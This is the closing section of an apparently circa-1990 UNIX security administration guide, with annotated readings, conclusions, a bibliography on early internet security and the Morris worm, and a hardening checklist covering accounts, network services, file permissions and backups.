          Sun Microsystems
          May, 1988

               Part of the SunOS documentation,  this  manual  covers  most
               aspects  of  Sun  system  administration, including security
               issues.  A must for anyone operating a  Sun  system,  and  a
               pretty good reference for other UNIX systems as well.

          Security Problems in the TCP/IP Protocol Suite
          S. M. Bellovin
          ACM Computer Communications Review
          April, 1989

               An interesting discussion of some of the  security  problems
               with  the  protocols  in  use on the Internet and elsewhere.
               Most of these problems are far beyond  the  capabilities  of
               the  average  cracker, but it is still important to be aware
               of them.  This article is technical in nature,  and  assumes
               familiarity with the protocols.

          A Weakness in the 4.2BSD UNIX TCP/IP Software
          Robert T. Morris
          AT&T Bell Labs Computer Science Technical Report 117
          February, 1985

               An interesting article from the author of the Internet worm,
               which  describes  a  method  that  allows  remote  hosts  to
               ``spoof'' a host into believing they  are  trusted.   Again,
               this article is technical in nature, and assumes familiarity
               with the protocols.

          Computer Viruses and Related Threats: A Management Guide
          John P. Wack and Lisa J. Carnahan
          National Institute of Standards and Technology
          Special Publication 500-166

               This document  provides  a  good  introduction  to  viruses,
               worms,  trojan horses, and so on, and explains how they work
               and how they are used to attack computer  systems.   Written
               for the nontechnical user, this is a good starting point for
               learning about these security problems.  This  document  can
               be  ordered  for  $2.50  from  the U. S. Government Printing
               Office, document number 003-003-02955-6.

                                         56

                                      SECTION 7

                                     CONCLUSIONS

               Computer security is playing an increasingly important  role
          in our lives as more and more operations become computerized, and
          as computer networks become more widespread.  In order to protect
          your  systems  from snooping and vandalism by unauthorized crack-
          ers, it is necessary to enable  the  numerous  security  features
          provided by the UNIX system.

               In this document, we have covered the major areas  that  can
          be made more secure:

               +    Account security

               +    Network security

               +    File system security.

          Additionally, we have discussed how to monitor for security  vio-
          lations, where to obtain security-related software and bug fixes,
          and numerous mailing lists for finding out about  security  prob-
          lems that have been discovered.

               Many crackers are not interested in breaking  into  specific
          systems, but rather will break into any system that is vulnerable
          to the attacks they know.  Eliminating these well-known holes and
          monitoring  the  system  for other security problems will usually
          serve as adequate defense against all  but  the  most  determined
          crackers.   By using the procedures and sources described in this
          document, you can make your system more secure.

                                         57

                                         58

                                     REFERENCES

          [Eich89]  Eichin, Mark W., and Jon A. Rochlis.   With  Microscope
                    and  Tweezers:   An  Analysis  of the Internet Virus of
                    November 1988.  Massachusetts Institute of  Technology.
                    February 1989.

          [Elme88]  Elmer-DeWitt, Philip.   ``  `The  Kid  Put  Us  Out  of
                    Action.' '' Time, 132 (20): 76, November 14, 1988.

          [Gram84]  Grammp, F. T., and R. H. Morris.  ``UNIX Operating Sys-
                    tem Security.''  AT&T Bell Laboratories Technical Jour-
                    nal, 63 (8): 1649-1672, October 1984.

          [Hind83]  Hinden, R., J. Haverty, and A. Sheltzer.   ``The  DARPA
                    Internet:  Interconnecting  Heterogeneous Computer Net-
                    works with Gateways.''  IEEE Computer Magazine, 16 (9):
                    33-48, September 1983.

          [McLe87]  McLellan, Vin.  ``NASA Hackers:  There's  More  to  the
                    Story.''  Digital Review, November 23, 1987, p. 80.

          [Morr78]  Morris, Robert, and Ken Thompson.  ``Password Security:
                    A  Case History.''  Communications of the ACM, 22 (11):
                    594-597,  November  1979.   Reprinted  in  UNIX  System
                    Manager's  Manual,  4.3 Berkeley Software Distribution.
                    University of California, Berkeley.  April 1986.

          [NCSC85]  National  Computer  Security  Center.   Department   of
                    Defense  Trusted  Computer  System Evaluation Criteria,
                    Department  of  Defense   Standard   DOD   5200.28-STD,
                    December, 1985.

          [Quar86]  Quarterman, J. S., and J. C. Hoskins.   ``Notable  Com-
                    puter  Networks.''  Communications of the ACM, 29 (10):
                    932-971, October 1986.

          [Reed84]  Reeds, J. A., and P. J.  Weinberger.   ``File  Security
                    and the UNIX System Crypt Command.''  AT&T Bell Labora-
                    tories Technical Journal, 63  (8):  1673-1683,  October
                    1984.

          [Risk87]  Forum on Risks to the Public in Computers  and  Related
                    Systems.  ACM Committee on Computers and Public Policy,
                    Peter G. Neumann, Moderator.   Internet  mailing  list.
                    Issue 5.73, December 13, 1987.

          [Risk88]  Forum on Risks to the Public in Computers  and  Related
                    Systems.  ACM Committee on Computers and Public Policy,
                    Peter G. Neumann, Moderator.   Internet  mailing  list.

                                         59

                    Issue 7.85, December 1, 1988.

          [Risk89a] Forum on Risks to the Public in Computers  and  Related
                    Systems.  ACM Committee on Computers and Public Policy,
                    Peter G. Neumann, Moderator.   Internet  mailing  list.
                    Issue 8.2, January 4, 1989.

          [Risk89b] Forum on Risks to the Public in Computers  and  Related
                    Systems.  ACM Committee on Computers and Public Policy,
                    Peter G. Neumann, Moderator.   Internet  mailing  list.
                    Issue 8.9, January 17, 1989.

          [Risk90]  Forum on Risks to the Public in Computers  and  Related
                    Systems.  ACM Committee on Computers and Public Policy,
                    Peter G. Neumann, Moderator.   Internet  mailing  list.
                    Issue 9.69, February 20, 1990.

          [Ritc75]  Ritchie, Dennis M.  ``On the Security of  UNIX.''   May
                    1975.   Reprinted  in UNIX System Manager's Manual, 4.3
                    Berkeley Software Distribution.  University of Califor-
                    nia, Berkeley.  April 1986.

          [Schu90]  Schuman, Evan.  ``Bid to Unhook Worm.''   UNIX  Today!,
                    February 5, 1990, p. 1.

          [Seel88]  Seeley, Donn.  A Tour of the Worm.  Department of  Com-
                    puter Science, University of Utah.  December 1988.

          [Spaf88]  Spafford, Eugene H.   The  Internet  Worm  Program:  An
                    Analysis.   Technical Report CSD-TR-823.  Department of
                    Computer Science, Purdue University.  November 1988.

          [Stee88]  Steele, Guy L. Jr., Donald R. Woods, Raphael A. Finkel,
                    Mark  R.  Crispin, Richard M. Stallman, and Geoffrey S.
                    Goodfellow.  The Hacker's Dictionary.  New York: Harper
                    and Row, 1988.

          [Stei88]  Stein, Jennifer G., Clifford  Neuman,  and  Jeffrey  L.
                    Schiller.   ``Kerberos:  An  Authentication Service for
                    Open Network Systems.''  USENIX Conference Proceedings,
                    Dallas, Texas, Winter 1988, pp. 203-211.

          [Stol88]  Stoll, Clifford.  ``Stalking the Wily  Hacker.''   Com-
                    munications of the ACM, 31 (5): 484-497, May 1988.

          [Stol89]  Stoll, Clifford.  The Cuckoo's Egg.  New York:  Double-
                    day, 1989.

          [Sun88a]  Sun Microsystems.  SunOS Reference Manual, Part  Number
                    800-1751-10, May 1988.

          [Sun88b]  Sun Microsystems.  System and  Network  Administration,

                                         60

                    Part Number 800-1733-10, May 1988.

          [Sun88c]  Sun Microsystems.  Security Features Guide, Part Number
                    800-1735-10, May 1988.

          [Sun88d]  Sun Microsystems.  ``Network  File  System:  Version  2
                    Protocol  Specification.''   Network  Programming, Part
                    Number 800-1779-10, May 1988, pp. 165-185.

                                         61

                                         62

                           APPENDIX A - SECURITY CHECKLIST

               This checklist summarizes the information presented in  this
          paper, and can be used to verify that you have implemented every-
          thing described.

          Account Security
               []  Password policy developed and distributed to all users
               []  All passwords checked against obvious choices
               []  Expiration dates on all accounts
               []  No ``idle'' guest accounts
               []  All accounts have passwords or ``*'' in the password field
               []  No group accounts
               []  ``+'' lines in passwd and group checked if running Yellow Pages

          Network Security
               []  hosts.equiv contains only local hosts, and no ``+''
               []  No .rhosts files in users' home directories
               []  Only local hosts in ``root'' .rhosts file, if any
               []  Only ``console'' labeled as ``secure'' in ttytab (servers only)
               []  No terminals labeled as ``secure'' in ttytab (clients only)
               []  No NFS file systems exported to the world
               []  ftpd version later than December, 1988
               []  No ``decode'' alias in the aliases file
               []  No ``wizard'' password in sendmail.cf
               []  No ``debug'' command in sendmail
               []  fingerd version later than November 5, 1988
               []  Modems and terminal servers handle hangups correctly

          File System Security
               []  No setuid or setgid shell scripts
               []  Check all ``nonstandard'' setuid and setgid programs for security
               []  Setuid bit removed from /usr/etc/restore
               []  Sticky bits set on world-writable directories
               []  Proper umask value on ``root'' account
               []  Proper modes on devices in /dev

          Backups
               []  Level 0 dumps at least monthly
               []  Incremental dumps at least bi-weekly

                                         63